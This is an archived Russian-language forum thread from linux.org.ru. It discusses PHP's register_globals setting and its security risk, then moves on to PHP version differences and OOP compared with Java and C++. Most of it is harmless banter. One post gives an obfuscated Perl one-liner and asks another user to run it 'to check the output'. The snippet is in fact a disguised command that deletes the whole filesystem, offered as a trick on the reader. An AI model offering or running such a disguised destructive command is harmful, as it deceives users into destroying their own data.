LINUX.ORG.RU
Форум — Development  

[Глобально] [Надежно] Передача параметров в скрипт


0

0
Меня один пыхпых кодер озадачил: показал работающий код без

$user = $_GET['user']
автоматически обращается к переданному параметру user...

Причем на его сервере это работает, на моем LAMP (все последних версий) - нет!

Он еще удивлялся, а разве нужно через глобальные переменные читать переданные значения?

Глобально и надежно!

anonymous
← SQL сервер для себя
XAMPP Changelog →
> Он еще удивлялся, а разве нужно через глобальные переменные читать переданные значения?

Кажется, в osCom такая же фигня наблюдается. Даже не знаю, как эта магия работает...

eugine_kosenko ★★★
()
Ответ на: комментарий от eugine_kosenko
А может это связано с тем, что этот кодер, сидел в анабиозе, юзая какой-то доисторический 2.4 - там он с пыхпых 4... я ему начал объяснять, что 4-ка умерла безнадёжно...
anonymous
()
Я правильно понимаю, что ты про чудо «register global on», которое, наконец, скоро выкинут из PHP совсем?

Или я не понял в чём там непонятки.

Или это что-то настолько толсто?
KRoN73 ★★★★★
()
register_globals ??? ненене дэвид блейн, не надо нам глобалса. А то подлые хакиры введут site.com/index.php?user=admin и скукожат сервер.
anonymous
()
Ответ на: комментарий от anonymous
Блин... Теперь я понимаю в чем глобальность и надежность пыхпыха - настройками можно все убить.

У меня был одни случай, когда приложение не фукционировала - выдавало куски текста - оказалось
<? и <?php можно настаивать...
anonymous
()
Ответ на: комментарий от anonymous
А Ajax приложения можно так просто взломать?
anonymous
()
Ответ на: комментарий от anonymous
>Теперь я понимаю в чем глобальность и надежность пыхпыха - настройками можно все убить.

Сделай милость, проверь, что выдаст:

cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

А то у меня не работает что-то.
KRoN73 ★★★★★
()
Ответ на: комментарий от anonymous
>А шо, на брэйнфаке еще умудряются делать веб-приложения?

Когда-то Perl был королём Web'а... Надо же, выросло поколение, не заставшее этих времён :)
KRoN73 ★★★★★
()
Ответ на: комментарий от anonymous
>А вот слабо убивание винта из-за резонанса и сжигание процессора на брэйнфаке делать?

Научная фантастика в следующем отделе.
KRoN73 ★★★★★
()
Ответ на: комментарий от anonymous
>Кстати и слава богу, что я не застал пыхпых 4.

Хех... Помню времена, когда PHP вообще на доступных хостингов не было. Никакого :) И помню, какой революцией был PHP3.

...

А так - PHP4 от PHP5 принципиально не отличается. Несколько мелких неудобств.
KRoN73 ★★★★★
()
Ответ на: комментарий от anonymous
>А в какой версии PHP появилось нормальное ООП - клон Java?

Да с 4-й, вроде, появилось. В 5-й только появился более удобный вариант именования конструкторов + реализации типа __call, __wakeup и т.п.

Только что там от Java-то?
KRoN73 ★★★★★
()
Ответ на: комментарий от anonymous
>А в какой версии PHP появилось нормальное ООП

Пока ещё не появилось:) Но к тому идет.

anonymous
()
еб???!!! Твой друк идиот, посади его на кол ! Это одна из главных уязвимостей пхп скриптов !
phasma ★☆
()
Ха. Пыхеры даже не удосуживаются прочитать документацию про файл настроек своего любимого недоязычка.
anonymous
()
Какой откровенно толстый троллинг. Один недостаток есть:

>на моем LAMP

Надо было писать Denver

anonymous
()
Ответ на: комментарий от KRoN73
interface, private, protected, public

Синтаксис становится практически явовским... если бы не доллар в $variable и не "->" вместо "."

:)
Slavaz ★★★★★
()
Ответ на: комментарий от Slavaz
>interface, private, protected, public

>Синтаксис становится практически явовским...

Скажи честно - ты кроме PHP и Java других ООП языков не видел? :)
KRoN73 ★★★★★
()
Ответ на: комментарий от KRoN73
Ты про C++ (D)? :)
Видел, конечно. Я ответил в контексте твоего вопроса "Только что там от Java-то?"

Впрочем, ты бы мог спросить "Только что там от D-то?" ;)

Slavaz ★★★★★
()
Ответ на: комментарий от Slavaz
Помимо синтаксиса у языков программирования еще есть семантика. И семантически пых очень далек от джавы.
anonymous
()
С семантикой согласен, спорить не буду. :)

ИМХО каждый язык в чём-то уникален, и если будут два абсолютно похожих языка, то встанет вопрос о дальшейшем существовании одного из них... впрочем, я много языков программирования и не знаю, утверждать не стану :)

Slavaz ★★★★★
()
Ответ на: комментарий от Slavaz
>Я ответил в контексте твоего вопроса "Только что там от Java-то?"

Не-а, ты не ответил :) Ты ответил в контексте «что там от современных распространённых в массе языков ключевых слов». Java в этом списке будет далеко не первая и далеко не последняя.

...

Не думаю я, что разработчики PHP хоть как-то смотрели в сторону Java :)
KRoN73 ★★★★★
()
Ответ на: комментарий от Slavaz
Имхо синтаксис и ООП близки к С++ больше всего. Хотя private/public/protected используется во многих языках.
anonymous
()
Ответ на: комментарий от anonymous
>> Имхо синтаксис и ООП близки к С++ больше всего. Хотя >> private/public/protected используется во многих языках.

это только в твоем зеленом ламерском Имхо.

anonymous
()
Ответ на: комментарий от phasma
>> да, это ты правильно подметил, пхп редкостное гавно :)

вот мнение настаящего профессеанала

anonymous
()
Ответ на: комментарий от anonymous
>В D есть замыкания

В 5.3 пыхе тоже будут! Урра! Теперь остальные языки точно РИП!

anonymous
()
Ответ на: комментарий от KRoN73
>Хех... Помню времена, когда PHP вообще на доступных хостингов не было. Никакого

Вот тогда счастье было... Эх, стареем.

>А так - PHP4 от PHP5 принципиально не отличается. Несколько мелких неудобств.

Это в 5.х неудобства по сравнению с 4.х? О_о А вообще правильно, ждем шестерки с неймспейсами: может неосилят и наконец закопаем.

anonymous
()
Ответ на: комментарий от anonymous
>Это в 5.х неудобства по сравнению с 4.х?

Наоборот :) Типа, в 4.x отсутствует вложенный доступ к методам, типа $a->b()->c()->d(); или вместо __construct() приходится юзать метод с именем класса и т.п.

Хотя ещё сильно жизнь облегчил __autoload() - теперь не приходится писать лишних include(), классы у меня имеют жёсткую структуру именований и однозначно находятся в структуре каталогов.

KRoN73 ★★★★★
()
Ответ на: комментарий от KRoN73
>Хотя ещё сильно жизнь облегчил __autoload() - теперь не приходится писать лишних include(), классы у меня имеют жёсткую структуру именований и однозначно находятся в структуре каталогов.

Всё таки модули по типу питоновских были бы более приятны. Я например не люблю делать структуру каталогов с классами, более интересен стиль как в django.

anonymous
()
Ответ на: комментарий от anonymous
>Я например не люблю делать структуру каталогов с классами, более интересен стиль как в django.

Поясни, как оно там. А то так ни разу и не смотрел.

А у меня new forum_images_warnings() автоматически грузит 'forum/images/warnings.php'.

Т.е. непонятно, как без структуры каталогов обходиться, когда число классов измеряется сотнями и может подгружаться в разных приоритетах с разных источников?

KRoN73 ★★★★★
()
Вы не можете добавлять комментарии в эту тему: топик перемещен в архив.
← SQL сервер для себя
Development
XAMPP Changelog →